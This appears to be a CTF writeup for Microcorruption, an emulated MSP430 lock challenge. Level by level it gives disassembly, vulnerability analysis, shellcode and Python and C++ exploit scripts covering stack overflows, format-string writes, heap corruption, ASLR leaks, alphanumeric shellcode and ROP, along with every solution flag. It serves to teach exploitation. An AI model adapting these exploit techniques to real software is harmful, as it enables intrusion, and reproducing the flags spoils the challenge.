A while ago, Matasano and Square created a CTF called microcorruption which I really enjoyed. Since the CTF has no real deadline, I held off on publishing a writeup in order to avoid spoiling it for others. Now I feel like it's been long enough to allow people to share how they solved the challenges openly. If you haven't done the CTF yet, I would encourage you to stop reading and go do that now.
General Notes
Microcorruption is arranged in levels which are given city names (in the story, you are visiting each city and cracking locks). This writeup won't care about the story that much, we care about the cracking :)
The CTF is designed such that there is a "LockIT Pro Lock" emulator running in THE CLOUD, which you remotely send commands to debug and eventually "unlock". The emulator is essentially executing a slightly modified MSP430 instruction set. Some modifications were intentional, others are bugs..., it is left up to the player to discover the bugs, unfortunately. Reading the user manual for this device is very important in order to complete the levels.
Levels are unlocked sequentially for the most part, and each level focuses on exersizing a specific skill. While I do not know the exact scoring and ranking system, factors appear to include:
- time of unlock
- number of total cpu cycles from "boot" until unlock
- total size of inputs
I think the overall ranking is just based on completion time - the other factors are only used for determining ranking within a single level. I wasn't playing for ranking, so for some levels I took my time looking for decent optimizations (it's fun!), while others I rushed out of frustration.
Most levels are easy to complete with the built-in features on the website. Some other people did fancy things like make their own frontends, disassemblers, and symbolic execution engines. While that stuff is very cool and I'd love to read their writeups, I stuck to the website, IDA, and hacky python scripts.
This is the first time I've done a writeup of a CTF. Like microcorruption itself, it is meant to be easy to follow and gradually increase assumptions about the reader's skill level. I appreciate any feedback.
New Orleans
As the first actual level, this is expectedly easy.
4438 <main>
...
4448: mov sp, r15
444a: call #0x44b2 <get_password>
444e: mov sp, r15
4450: call #0x44bc <check_password>
4454: tst r15
4456: jnz #0x4462 <main+0x2a>
...
4462: mov #0x4520 "Access Granted!", r15
4466: call #0x4594 <puts>
446a: call #0x44d6 <unlock_door>
So, it looks like user input is read into the memory pointed to by r15(here, the stack). The same pointer is then used to check validity with check_password, which should return nonzero if it's the correct password.
44bc <check_password>
...
44c2: cmp.b @r13, 0x2400(r14)
44c6: jne #0x44d2 <check_password+0x16>
...
44d2: clr r15
44d4: ret
A quick glance at check_password is all we need to know that it's equivalent to memcmp(r15, (void *)0x2400, 8) == 0. Assuming you stopped the debugger while it's waiting for user input, you will notice the correct value is already at 0x2400. If you wanted to do it without running the debugger at all you can also find the password being stored into 0x2400 in create_password from immediate values in mov.b instructions. Note that the last byte is 0x00, so your input need only be 7 bytes since the memory is zero-initialized.
Flag
6a706c32614f2e
Sydney
I guess this level is just demonstrating the system's endianness. Given that your input is sequentially read into memory, it is then compared with immediate values directly instead of loading the comparison values from memory. Thus you discover cmp #0x386b, 0x0(r15) requires (u8 *)r15[0] == 0x6b && (u8 *)r15[1] == 0x38, for example. Therefor the machine is said to be dealing with 16bit little-endian words.
448a <check_password>
448a: cmp #0x386b, 0x0(r15)
4490: jnz $+0x1c
4492: cmp #0x473c, 0x2(r15)
4498: jnz $+0x14
449a: cmp #0x2c38, 0x4(r15)
44a0: jne #0x44ac <check_password+0x22>
44a2: mov #0x1, r14
44a4: cmp #0x2b71, 0x6(r15)
44aa: jeq #0x44ae <check_password+0x24>
44ac: clr r14
44ae: mov r14, r15
44b0: ret
Since the early-out paths result in zero being returned, we can guess that reaching the mov #0x1, r14 instruction is the goal.
Flag
6b383c47382c712b
Hanoi
This level introduces basic memory corruption vulnerabilities. The level makes sure you know the input must be between 8 and 16 characters to be considered valid.
4520 <login>
...
4534: mov #0x1c, r14
4538: mov #0x2400, r15
453c: call #0x45ce <getsn>
4540: mov #0x2400, r15
4544: call #0x4454 <test_password_valid>
4548: tst r15
454a: jz $+0x8
454c: mov.b #0x4f, &0x2410
4552: mov #0x44d3 "Testing if password is valid.", r15
4556: call #0x45de <puts>
455a: cmp.b #0x85, &0x2410
4560: jne #0x4570 <login+0x50>
4562: mov #0x44f1 "Access granted.", r15
4566: call #0x45de <puts>
456a: call #0x4448 <unlock_door>
456e: ret
4570: mov #0x4501 "That password is not correct.", r15
The obvious thing which stands out is that getsn(which is just a wrapper for INT 0x2: gets(char *buf, uint len)) is being called with len = 0x1c, which can put us 12 bytes over the supposed input limitation. Here buf = 0x2400, so we can overwrite 0x2410-0x241b even though this probably lies outside the buffer used for input. From the disasm, we see that unlock_door will be called if *(u8 *)0x2410 == 0x85. Interestingly, test_password_valid(wrapper for INT 0x7d: hsm1(char *buf, u8 *flag)) must return failure, otherwise 0x2410 will be overwritten with 0x4f. I guess this is just to guide the newbies away from attempting to bruteforce the password supposedly stored in the HSM-1?
Flag
626c6168626c6168626c6168626c616885
Cusco
Like Hanoi, this challenge calls getsn with a too-large length value. This results in overwriting the stack with input data. However, it doesn't look like there are any important variables stored on the stack.
4500 <login>
4514: mov #0x30, r14
4518: mov sp, r15
451a: call #0x4596 <getsn>
451e: mov sp, r15
4520: call #0x4452 <test_password_valid>
4524: tst r15
4526: jz #0x4532 <login+0x32>
4528: call #0x4446 <unlock_door>
452c: mov #0x44d1 "Access granted.", r15
4530: jmp #0x4536 <login+0x36>
4532: mov #0x44e1 "That password is not correct.", r15
4536: call #0x45a6 <puts>
453a: add #0x10, sp
453e: ret
The easiest way to demonstrate how to abuse this is just to fill the input with 0x30 'A's and see what the debugger tells us:
insn address unaligned
> r pc 8
4141: 0000 0000 0000 0000 ........
Ok, somehow we ended up executing at 0x4141, which is probably taken directly from our input. How did this happen? If we debug through, you will notice pc is set to 0x4141 when returning from login. Another indicator is that the last log is "That password is not correct.", meaning the complete login routine was executed before dying.
Taking a look at the ever-handy MSP430x1xx User's Guide(pg.3-56), we see ret is verbosely described as:
@SP → PC
SP + 2 → SP
By breaking at login's ret and looking in the memview, it's easy to see how to exploit this:
> r sp 8
43fe: 4141 4141 4141 4141 AAAAAAAA
43e8: 0a00 0000 3a45 4141 ....:EAA
43f0: 4141 4141 4141 4141 AAAAAAAA
43f8: 4141 4141 4141 4141 AAAAAAAA
4400: 4141 4141 4141 4141 AAAAAAAA
Our input starts at 0x43ee, and the value at 0x43fe will be popped from the stack into pc. Now we have arbitrary control of pc, what can we do? For me, the most straightforward option was just to redirect to some pre-existing code in the binary which would unlock the door. unlock_door fits this description perfectly. There are other ways to go about this, but they are somewhat less intuitive and will be exersized in later levels, anyways.
Flag
414141414141414141414141414141414644
Reykjavik
In this level, we see a rather concerning thing:
4438 <main>
4438: mov #0x4520, r14
443c: mov r14, r15
443e: mov #0xf8, r14
4442: mov #0x2400, r15
4446: call #0x4486 <enc>
444a: call #0x2400
The code itself appears to be obfuscated in some way. main decodes a chunk of data to 0x2400 and starts executing it.
By breaking on 0x2400 we can look at all of the decoded data and plop it into your favorite disassembler. You will see a lot of call #0x2464, which we can discern to be the INT function (calls __trap_interrupt).
add #0x4, sp
push #0x1f
mov #0xffdc, r15
add r4, r15
push r15
push #0x2
call #0x2464 ; INT 2 (gets(r4 - 0x24, 0x1f))
add #0x6, sp
cmp #0x1306, -0x24(r4)
jnz $+0xc
push #0x7f
call #0x2464 ; INT 0x7f
Here it's easy to see the value which will cause INT 0x7f to be triggered.
Flag
0613
Whitehorse
This level should remind you of Cusco. The difference is that the HSM-2 is now being used, and there is no longer a code sequence in the original binary which will cause an unconditional unlocking of the door. Supposedly, you must rely on some "hardware magic" performed by the HSM-2 to verify the password and unlock the door as an atomic operation.
The solution is simple, but requires thinking of another exploit applicable to the stack buffer overflow situation. Last time we redirected execution to existing code. There is no good existing code...so what if we introduce our own? There are a few ways to accomplish this - I'll only cover the one I used.
This is a good time to revist what actually occurs when the C function INT(0x7f) was being called:
4532 <INT>
mov 0x2(sp), r14
...
mov r14, r15
swpb r15
mov r15, sr
bis #0x8000, sr
call #0x10
Or in psuedo-C:
sr = 0x8000 | (arg0 << 8) | (arg0 >> 8)
__trap_interrupt()
Thus, INT(0x7f) is just sr = 0x8000 | (0x7f << 8) = 0xff00; pc = 0x10, or in actual MSP430 assembly:
mov #0xff00, sr
br #0x0010
Assembling this, padding up to the return address, and placing our new return address gives us the flag.
Flag
324000ff3040100000000000000000006642
Johannesburg
452c <login>
452c: add #0xffee, sp
4530: mov.b #0xaa, 0x11(sp)
...
4546: mov #0x3f, r14
454a: mov #0x2400, r15
454e: call #0x45e8 <getsn>
4552: mov #0x2400, r14
4556: mov sp, r15
4558: call #0x4624 <strcpy>
455c: mov sp, r15
455e: call #0x4452 <test_password_valid>
4562: tst r15
4564: jz #0x4570 <login+0x44>
4566: call #0x4446 <unlock_door>
456a: mov #0x44d1 "Access granted.", r15
456e: jmp #0x4574 <login+0x48>
4570: mov #0x44e1 "That password is not correct.", r15
4574: call #0x45f8 <puts>
4578: cmp.b #0xaa, 0x11(sp)
457e: jeq #0x458c <login+0x60>
4580: mov #0x44ff "Invalid Password Length: password too long.", r15
4584: call #0x45f8 <puts>
4588: br #0x443c <__stop_progExec__>
458c: add #0x12, sp
4590: ret
This is another level focusing on overwriting the stack. You'll notice the password is again intended to be a maximum of 16bytes. However, getsn is called with len = 0x3f. This time, the input is read into a buffer at 0x2400, and then strcpy is used to copy it to the stack. This effectively disallows us from including null bytes in our input, as they will just result in truncation of the input data during strcpy. Additionally, there is a "stack cookie" byte at sp+0x11 which is how the password length is actually being verified. The idea is that if the value of the cookie changes during execution of the function, __stop_progExec__ is called, and program execution immediately halts as a security violation has been detected (Note: in this example, the cookie is static, and puts is called before halting, which is not good practice).
These two mitigations are easily bypassed: just use a string not containing null bytes, which has 0xaa at +0x11. Then overwrite the return address to point to unlock_door. Done.
Flag
4141414141414141414141414141414141aa4644
Montevideo
This challenge is very similar to Whitehorse (we can overwrite the return address, and need to execute our own input data), and Johannesburg (input is transferred via strcpy).
This means our assembled shellcode may not contain null bytes, which seems tricky at first. I wanted to have my shellcode be minimal so I wouldn't be annoyed by finding nicely-encoded instructions. To do this, I looked for a useful pre-existing chunk of code and found:
4554: swpb r15
4556: mov r15, sr
4558: bis #0x8000, sr
455c: call #0x10
This is great because we know br is encoded as 3040 <absolute address>, and as such will be OK. Now we just need to make r15 be useful before branching here. Since r15 is 0x0000 when the shellcode starts executing, a non-null-friendly way to do this is sub #0xff81, r15, which gives us r15 = 0x7f, encoded as 3f80 81ff and resulting in a nice unconditional unlock.
Flag
3f8081ff304054454141414141414141ee43
Santa Cruz
This level is again using strcpy to copy input onto buffers in the stack without checking the input buffer length. Ironically, this time the buffer lengths are being checked after copying them to the stack. However, as the variables against which they are compared are also stored on the stack (in a location reachable from overflowing the password), we can coerce the length checks to pass. Brilliant.
By breaking at the variable initialization and strcpy calls, we can visualize the stack layout:
u8 username[] @ 43a2 (control up to 0x63 bytes)
s8 input_min @ 43b3 (initialized to 0x08)
s8 input_max @ 43b4 (initialized to 0x10)
u8 password[] @ 43b5 (control up to 0x63 bytes)
u16 ret_addr @ 43cc
Great, we can set input_min = 1 and input_max = 0x7f (they're signed!), and continue on to overwrite the return address. I decided to reuse the same shellcode idea as Montevideo, which gives:
sub #0xff81, r15
br #0x46cc
Now we have a good idea about how to layout the username input, but we can't get away without bypassing another mitigation, it seems. This is because the program will always pass our username to INT(0x7d), which will fail. This takes us to the failure path at 0x4644, which will call __stop_progExec__ if *(u8 *)0x43c6 != 0x00. Unfortunately this byte must be nonzero at this point as it is overwritten by our username data, which may not contain null bytes.
The workaround for this is to realize that strcpy copies all bytes including the null byte from it's input:
4754 <strcpy>
...
475c: mov.b @r14, r12
475e: mov.b r12, 0x0(r13)
4762: tst.b r12
4764: jnz #0x4758 <strcpy+0x4>
Because of this behavior we only need a properly sized password, such that the trailing null byte will overwrite 0x43c6. Also, the memory which input is read into is zero-initialized.
Flag
username = 3f8081ff3040cc46414141414141414141017f4343434343434343434343434343434343ff5858585858a243
password = 4242424242424242424242424242424242
Addis Ababa
This level introduces format string vulnerabilities. The challenge follows the previous pattern of copying the original input buffer to the stack via strcpy. The stack copy is then, for whatever reason, passed to printf. I actually reversed the printf implementation in IDA, however just looking at the LockIT Pro manual should be enough to see the intended direction for this level. The implementation supports very few format specifiers, and within those few is a weird one: %n.
Ignoring the underlying behavior of printf for now, let's look at the code and see what we are working with:
4472: call #0x44b0 <test_password_valid>
4476: mov r15, 0x0(sp) ; password_valid
447a: push r11
447c: call #0x45c8 <printf>
4480: incd sp
4482: mov #0xa, r15
4486: call #0x4550 <putchar>
448a: tst 0x0(sp) ; password_valid
448e: jz #0x4496 <main+0x5e>
4490: call #0x44da <unlock_door>
The above shows that we need to overwrite 0x0(sp), where sp = 0x3c36 during the printf.
The printf implementation included in the LockIT Pro handles only %s, %x, %c, and %n. Of these, %n sticks out, as mentioned previously, because it is the only format specifier which writes to the given argument. An example usage of %n might look like this:
// This is just an example to show %n usage,
// it is not the same code that's in the level
char c = 'a';
uint u = 0x1234;
uint num_written;
printf("%x %c\n%n", u, c, &num_written);
// now, num_written = 2 + 1 + 1 + 1 = 5
So, we know we need to include %n in the format string and match it with 0x3c36 in the argument list, but only r11 (format string pointer) is being pushed on the stack for printf...how do we control the args?
Looking at the stack at the time of the call, we can get an idea:
pc = 447c: call #0x45c8 <printf>
sp = 3c34
; memory around sp in memview
3c30: 0024 0000 383c 0000 4141 4141 4141 4141
^sp(@3c34)^--- fmt string (@3c38)
^--- password_valid (@3c36)
Aha! So we need to skip at least 2bytes, so that printf will be looking at our controlled data when it goes to read the argument for %n. We can do exactly this by adding a %x to the format string. We end up with a template like: <num_written_ptr>%x%n. Using that, the flag is simple.
Flag
363c2578256e
Jakarta
This level purports to ensure that total bytes of input is 0x20 or less. Let's check the code...
4560 <login>
...
457e: mov #0xff, r14
4582: mov #0x2402, r15
4586: call #0x46b8 <getsn> ; getsn(temp, 0xff)
...
4592: mov #0x2401, r15
4596: inc r15
4598: tst.b 0x0(r15)
459c: jnz #0x4596 <login+0x36>
459e: mov r15, r11
45a0: sub #0x2402, r11 ; r11 = strlen(temp)
45a4: mov #0x2402, r14
45a8: mov sp, r15
45aa: call #0x46f4 <strcpy> ; strcpy(username, temp)
45ae: cmp.b #0x21, r11 ; strlen must've been <= 0x20
45b2: jnc #0x45c0 <login+0x60>
...
45c0: mov #0x4516 "Please enter your password:", r15
45c4: call #0x46c8 <puts>
45c8: mov #0x1f, r14
45cc: sub r11, r14 ; r11 may be 0x20 here, so
45ce: and #0x1ff, r14 ; (0x1f - 0x20) & 0x1ff = 0x1ff
45d2: mov #0x2402, r15
45d6: call #0x46b8 <getsn> ; getsn(temp, 0x1ff) <-- buffer
; overflow via integer underflow
Exploiting the above integer underflow and buffer overflow allows overwriting a large part of the stack.
However, there is another length check, which checks the accumulated length:
45fe: add r11, r15 ; r15 = strlen(username) +
; strlen(password)
4600: cmp.b #0x21, r15 ; byte compare! (r15 & 0xff) > 0x20
In order to evade this check, we need to choose password such that ((strlen(password) + 0x20) & 0xff) <= 0x20.
Completing the level just requires inserting the return address value and your choice of shellcode.
Flag
username = 3f8081ff30406c46 + 'A' * (0x20 - 8)
password = 42424242f23f + 'B' * (0xe0 - 6)
Novosibirsk
This level is very similar to Addis Ababa, however there isn't a simple password_valid variable to overwrite this time (or at least not that I saw). Instead, it appears necessary to overwrite the return address of printf while the format string is being processed. This turned out to be quite annoying as the only path I thought of required printing N characters to the screen (where N is the desired return address), and then using %n to overwrite the existing return address. The input is still being strcpy'd, so the stack copy will be truncated after the first null byte. strcpy actually came in useful here - the original input buffer remains unmodified in the temporary location, and the truncated version is on the stack. By taking advantage of this, I was able to have two "views" of the same buffer - one containing arbitrary shellcode and the other only a C-string.
As seen below in the flag construction, my general approach to create a large N value was to repeatedly print the same large string. The string is essentially printing itself (the copy in the temporary buffer), until N is within the post-null-byte temporary buffer region, and then overwrites the return address with N and begins normal shellcode execution.
This level could have definitely been completed in a few better ways, but I didn't want to spend too much time on it.
Flag
# <ptr_to_str*num_str><ptr_to_overwrite><%s*num_str><%n><null_pad><controlled_data>
import struct
# point to self (can't be 0x2400 - avoiding null bytes)
ptr_to_str = 0x2401
# will be overwritten with num printed
ptr_to_overwrite = 0x4208
# from testing, this makes r10=0x24f2, so
# we'll just be lazy and place shellcode entrypoint there
num_str = 0x30
output = struct.pack('<H', ptr_to_str) * num_str + struct.pack('<H', ptr_to_overwrite) + '%s' * num_str + '%n'
# <null_pad><shellcode>
shellcode = '324000ff30401000'.decode('hex') + '\0' * (0x24f2 - 0x24c6 - 8) + '3040c624'.decode('hex')
output += '\0\0' + shellcode
print output.encode('hex')
Algiers
This level introduces the concept of exploitation by overwriting heap metadata. This level was kind of cool since it takes username and password as input, and I solved it without a password.
As hinted above, this is the first level which uses the heap. Specifically, there is dynamically allocated memory being used to store our input. The buffers are allocated and deallocated with malloc and free, respectively.
The first thing I did was just triggering a crash with a patterned input buffer, and then started working backwards.
username = 5555575559555b555d555f55615563556555
password = None
This results in a load address unaligned: 5569 error, and the cpu halts with pc = 4520. Let's see what happened:
4508 <free>
...
450a: add #0xfffa, r15
450e: mov 0x4(r15), r13
4512: and #0xfffe, r13
4516: mov r13, 0x4(r15)
451a: mov @r15, r14 ; r14 = 5565
451c: mov 0x4(r14), r12 ; die
> r sp 8
4392: 2424 a846 0000 0000
^- return address
46a2: mov r11, r15
46a4: call #0x4508 <free>
46a8: mov r10, r15
The crash is occurring on the first call to free, which is freeing the password buffer. However, looking closer at the heap layout reveals that the contents of the password buffer don't matter; it is the allocation and deallocation order which matters.
Let's take a step back and look at what free is doing:
// This is just for a general idea of what's
// going on...I do not guarantee it's correct
struct alloc_hdr_t {
u16 prev;
u16 next;
// size w/"in use" flag as the lsb
u16 flags;
};
void free(void *buf) {
alloc_hdr_t *hdr = (alloc_hdr_t *)((char *)buf - sizeof(alloc_hdr_t));
flags = hdr->flags;
hdr->flags = flags & ~1;
alloc_hdr_t *prev = hdr->prev;
if ((prev->flags & 1) == 0) {
prev->flags += 6;
prev->flags += flags;
prev->next = hdr->next;
hdr->next->prev = prev;
hdr = prev;
}
alloc_hdr_t *next = hdr->next;
if ((next->flags & 1) == 0) {
hdr->flags += next->flags;
hdr->flags += 6;
hdr->next = next->next;
next->prev = hdr;
}
}
Looking at the entire level, there are a few issues:
mallocis called withsize = 0x10bytesgetsnis called withsize = 0x30bytesmallocinternally stores size ashdr.flags = (size << 1) | used_flag- buffer is still
sizebytes
freeconsiders the size to just besize = hdr.flags & ~used_flag_mask
This creates an environment where a 0x10 byte buffer is malloc'd, written with up to 0x30 bytes, and free'd as if it is 0x20 bytes. So, there is a lot of corruption to choose from.
At the point of entering the username, the heap looks like:
<4 word heap header>
<0x10 byte 'username' allocation:
<3 word allocation header @2408
<prev=2408, next=241e, flags=0021>
>
<0x10 byte user buffer>
>
<0x10 byte 'password' allocation:
<3 word allocation header @241e
<prev=2408, next=2434, flags=0021>
>
<0x10 byte user buffer>
>
<heap footer>
Since free is called on the password buffer first and we can overwrite the allocation header by overflowing the username heap buffer, we can gain control in the first free call. This is the same thing we found out just by feeding the program bogus input :)
My approach was to overwrite the password allocation header such that free will overwrite the return address with a pointer to my shellcode. Then I constructed a fake allocation header in the username buffer which is already marked as being free. This stops free from further corrupting the return address by processesing other allocations.
import struct
ptr_to_retaddr = 0x4394
original_retaddr = 0x46A8
new_retaddr = 0x2414
shellcode = '324000ff30401000'.decode('hex')
# construct a fake allocation header - marked as 'unused'
output = struct.pack('<H', 0xabab)
output += struct.pack('<H', 0x0001)
output += struct.pack('<H', 0x0000)
output += shellcode
output += 'A' * (8*2 - len(output))
# overwrite the password allocation header
output += struct.pack('<H', ptr_to_retaddr - 4)
output += struct.pack('<H', 0x240e - 2)
output += struct.pack('<H', (new_retaddr - 6 - original_retaddr) & 0xffff)
print output.encode('hex')
Flag
username = abab01000000324000ff30401000414190430c2466dd
password = None
Vladivostok
This level introduces ASLR. Normally defeating ASLR requires an information leak - a way to determine how the program has been relocated. So we'll keep on the lookout for something like that.
Since self-modifying code makes the web debugger mostly useless, let's dump it into IDA and take a look.
At 0x4438, a new interrupt is called in order to randomize code and stack locations: INT(0x20), rand. The code is copied to the new location, sp is set, and finally the relocated aslr_main function is called. aslr_main is just a wrapper for _aslr_main, seen below:
ROM:4482 _aslr_main: ; DATA XREF: aslr_main+2
ROM:4482
ROM:4482 printf= -0Ah
ROM:4482
ROM:4482 push.w R11
ROM:4484 push.w R10
ROM:4486 sub.w #8, SP
ROM:4488 mov.w R15, R12 ; code_base
ROM:448A add.w #(printf - __init_stack), R12
; can derive code_base from this stack val
ROM:448E mov.w R12, 0Ch+printf(SP)
OK, so it is calculating the address of the printf function after relocation and saving it on the stack. Note: the stack variable is not used afterwards, so the save to stack must've just been done to make it easier on players. In any case, this means if we can leak the adjusted value from the stack, we can know where the program has been relocated to. In order to leak it, let's see how our input is used:
; static location for the input buffer
ROM:2426 username .space 0Ch
...
; here is the beautifully inlined
; and ASLR-compliant INT(2)
ROM:45BC mov.w #username, R11
ROM:45C0 mov.w #2, R13
ROM:45C2 push.w R10 ; arg1 len
ROM:45C4 push.w R11 ; arg0 username
ROM:45C6 push.w R13
ROM:45C8 push.w PC
ROM:45CA push.w SR
ROM:45CC mov.w R13, R15
ROM:45CE swpb R15
ROM:45D0 mov.w R15, SR
ROM:45D2 bis.w #8000h, SR
ROM:45D6 call #CALLGATE ; gets
ROM:45DA pop SR
ROM:45DC add.w #8, SP
ROM:45DE mov.b R14, &username+8 ; null byte
ROM:45E2 push.w R11 ; fmt
ROM:45E4 call R12 ; printf
The above shows how the username input is used - it is passed directly to printf. The good news is that the saved pointer to the relocated printf is on the stack and accessible from our format string:
pc = cc5a (randomly relocated printf)
> r sp 8
b976: d6ca 2624 0000 5acc ..&$..Z.
^ ^fmt ^printf pointer in
ret_addr _aslr_main's stack frame
This can easily be dumped to the "I/O Console" with password = %y%x. This just abuses the fact that an unrecognized specifier skips a word without printing anything.
In order to unlock the door, I chose to return to _INT with the 0x7f argument on the stack.
Flag
import struct
username = '%y%x'
#printf_addr = val printed out as username
# _INT - printf = 0x182
password = ('AA'*4+struct.pack('<H', 0x182 + printf_addr)+'BB'+'\x7f\x00').encode('hex')
Lagos
The main attraction in Lagos is getting around a limitation on input values - the entire input will be ignored starting at the first non-alphanumeric (ASCII) character. All characters before the first non-alphanumeric will be copied to the stack from a temporary buffer. The temporary buffer may be up to 0x200 bytes, which should be plenty to overwrite the return address. However, I noticed an interesting thing:
; 45A4 stores a valid character to the stack
reset; b 45A4; c
sp = 43ec
Like any other level, the code starts at 0x4400. Given that we have control of 0x200 bytes from 0x43ec, we can actually overwrite conditional_unlock_door, bypassing the need to mess with the return address of login.
The remaining part of the challenge is the actual alphanumeric shellcode creation. I spent a long time attempting to discover valid instruction sequences based off of MSP430 instruction manuals, but was unsuccessful. Finally I was going to just bruteforce all possible instructions, but rmmh beat me to it. Using this list, I constructed an alternate method of executing sr = 0xff00; pc = 0x10. This was accomplished by first looking at the machine state at the time of control transfer to the overwritten conditional_unlock_door:
pc 4446 sp 43ea sr 0003 cg 0000
r04 0000 r05 5a08 r06 0000 r07 0000
r08 0000 r09 0000 r10 0000 r11 009f
r12 2600 r13 0000 r14 0000 r15 43ec
(OK, I'm being lazy here and just showing the flag :>)
> r sp
43ea: e045 0041 417a 4342 .E.AAzCB
43f2: 4342 7a7a 4343 4343 CBzzCCCC
43fa: 4343 4343 4343 4343 CCCCCCCC
4402: 4343 4343 4343 4343 CCCCCCCC
> r pc
4446: 3851 3941 3941 3970 8Q9A9A9p
444e: 4d34 3852 3251 3251 M48R2Q2Q
4456: 3251 3049 0f12 3012 2Q0I..0.
445e: 7e00 b012 fc45 5f44 ~....E_D
Note that sp is pointing to 0x45e0: the return address within login. After the return address, there is a zero byte and then our input data. This machine state can easily be used to pop values from the stack (containing our controlled data), and operate on them with the instructions we overwrote at 0x4446. The code I came up with can be seen above, but here it is in nicer form:
; Note the stack contents as seen above
; skip retaddr
38 51 add @SP+,R8 ; also clears flags
; skip zero'd word
39 41 mov @SP+,R9
; setup register to point to 0010
; exists at 45f4, 460e
39 41 mov @SP+,R9 ; load 344d
39 70 4d 34 subc #0x344d,R9 ; 7A41 - 344D = 45f4
; nop/clear flags
38 52 add 8,R8
; add to sr repeatedly
; result in sr must never have CPUOFF bit set!
32 51 add @SP+,SR ; + 4243 = 4243
32 51 add @SP+,SR ; + 4243 = 8486
32 51 add @SP+,SR ; + 7a7a = ff00
; CANNOT MODIFY FLAGS AFTER HERE
; pc = *rX
30 49 mov @R9+,PC
Flag
'A'+'\x41\x7a'+'\x43\x42'*2+'\x7a\x7a'+'C'*40*2+'8Q'+'9A'*2+'\x39\x70\x4d\x34'+'\x38\x52'+'2Q'*3+'\x30\x49'
Bangalore
This level focuses on defeating DEP. Since the vulnerability is another simple stack buffer overflow, we can easily rewrite the return address and execute a pre-existing chunk of code (which was marked executable in set_up_protection) in order to mark the stack executable (which was marked writeable in set_up_protection).
My so-called ROP gadget was:
; gadget to call INT(0x11) (args on stack)
44A2 sub.w #6, SP
44A6 mov.w #9100h, SR
44AA call #__trap_interrupt
44AE add.w #0Ah, SP
44B2 ret
In order to use this gadget, the stack must be setup properly such that the interrupt sees arguments as INT_11(0x003f, 0x0000). After execution, the stack will have been marked executable so we can provide a return address pointing back into the stack. I've just reused old shellcode here.
To help visualize the use of the rop gadget, this is what the stack looks like:
... ; shellcode and padding
44a2 ; gadget address
003f ; page = 0x3f
0000 ; mode = executable
3fee ; shellcode address
Flag
324000ff304010004141414141414141a2443f000000ee3f
Chernobyl
This level is the harder cousin of Algiers. It is probably large enough to have it's own blog entry.
This entry is still being written
Update much later: I probably will never get around to finishing this part of the writeup...sorry!
Flag
import struct
from ctypes import *
from collections import *
from string import digits, ascii_uppercase, ascii_lowercase
from itertools import product
chars = digits + ascii_uppercase + ascii_lowercase
num_buckets = 1 << 3
bucket_mask = num_buckets - 1
def iterstrings(prefix = ''):
for n in range(1, 15):
for comb in product(chars, repeat = n):
yield prefix + ''.join(comb)
def hash(s):
acc = c_int16(0)
for c in s:
val = c_int16(c_int8(ord(c)).value)
if val.value == 0: break
x = c_int16(acc.value + val.value)
acc.value = x.value
acc.value <<= 5
acc.value -= x.value
return acc.value & 0xffff
def get_fillers(bucket_idx, qty):
vals = []
for i in iterstrings():
if hash(i) & bucket_mask == bucket_idx:
vals.append(i)
if len(vals) == qty:
break
return vals
def make_collision(prefix, bucket_idx):
for i in iterstrings(prefix):
if hash(i) & bucket_mask == bucket_idx:
return i
def get_cmdstr(vals):
cmds = []
for val in vals:
cmds.append('new ' + val + ' 1;')
return ''.join(cmds)
bucket_to_fill = 0 # 503c
names = get_fillers(bucket_to_fill, 10)
# overwrite prev, next of header @ 6th element. must be marked used, size can be whatever
fake_free_block_ptr = 0x50a2
ptr_to_retaddr = 0x3dce
original_retaddr = 0x49a2 # from rehash 486a from add_to_table
new_retaddr = 0x3e60 # on stack of run()
fake_prev_block_ptr = 0x508a
fake_prev_block = struct.pack('<3H', ptr_to_retaddr - 4, 0x0101, 0xffff & ~1)
names.insert(4, make_collision(fake_prev_block, bucket_to_fill))
h1 = struct.pack('<3H', ptr_to_retaddr - 4, fake_free_block_ptr, (new_retaddr - 6 - original_retaddr) & 0xffff | 1)
fake_free_block = struct.pack('<3H', fake_prev_block_ptr, 0x503c + (bucket_to_fill + 3) * 0x60, 0xffff & ~1)
names.insert(5, make_collision(h1 + fake_free_block, bucket_to_fill))
shellcode = '324000ff30401000'.decode('hex')
cmdstr = get_cmdstr(names) + shellcode
print cmdstr
print cmdstr.encode('hex')
Hollywood
This level a more typical CTF challenge. It is probably large enough to have it's own blog entry.
This entry is still being written
Update much later: I probably will never get around to finishing this part of the writeup...sorry!
https://gist.github.com/shuffle2/59b03053e259144d6ae4
#include <cstdio>
#include <vector>
#include <cstdint>
#include <array>
#include <thread>
#include <chrono>
#include <mutex>
typedef uint8_t u8;
typedef uint16_t u16;
typedef uint32_t u32;
typedef uint64_t u64;
typedef std::array<u16, 3 + 1> array_t;
static std::mutex g_log_mutex;
u32 hash(array_t const x) {
u16 r4 = 0, r6 = 0;
int pos = 0;
for (;;) {
r4 += x[pos];
r4 = _byteswap_ushort(r4);
r6 ^= x[pos++];
std::swap(r4, r6);
if (x[pos] == 0)
break;
}
return (r4 << 16) | r6;
}
struct Acc {
array_t acc;
Acc() : acc({ { 0 } }) {
}
void advance() {
for (int i = 0; i < acc.size() - 1; ++i) {
if (++acc[i] != 0) {
break;
}
}
/*
bool seenNonZero = false;
for (int i = acc.size() - 1; i >= 0; --i) {
if (!seenNonZero) {
seenNonZero = acc[i] != 0;
} else if (acc[i] == 0) {
acc[i] = 1;
}
}
//*/
}
void print() {
for (int i = 0; i < acc.size() - 1; ++i) {
printf("%0*x", sizeof(acc[i]) * 2, _byteswap_ushort(acc[i]));
}
putchar('\n');
}
};
void HashThread(array_t::value_type const thread_id) {
Acc acc;
u64 count = 0;
u64 const interval = 0x1000000000000ull / 7;
u64 const initial = interval * thread_id;
for (int i = 2; i >= 0; --i) {
acc.acc[i] = (initial >> (i * 16)) & 0xffff;
}
while (count++ < interval) {
acc.advance();
/*
if (++count == 0) {
count = 1;
printf("%i:", thread_id);
acc.print();
}
//*/
u32 x = hash(acc.acc);
if (x == 0xfeb19298ul) {
std::lock_guard<std::mutex> lock(g_log_mutex);
printf("%i:", thread_id);
acc.print();
}
}
printf("%i:done\n", thread_id);
}
int main() {
std::vector<std::thread> threads;
for (int i = 0; i < 7; ++i) {
threads.emplace_back(std::thread(HashThread, i));
}
for (auto &thread : threads) {
if (thread.joinable()) {
thread.join();
}
}
printf("covered all space\n");
return 0;
}
Flag
4d4db1da96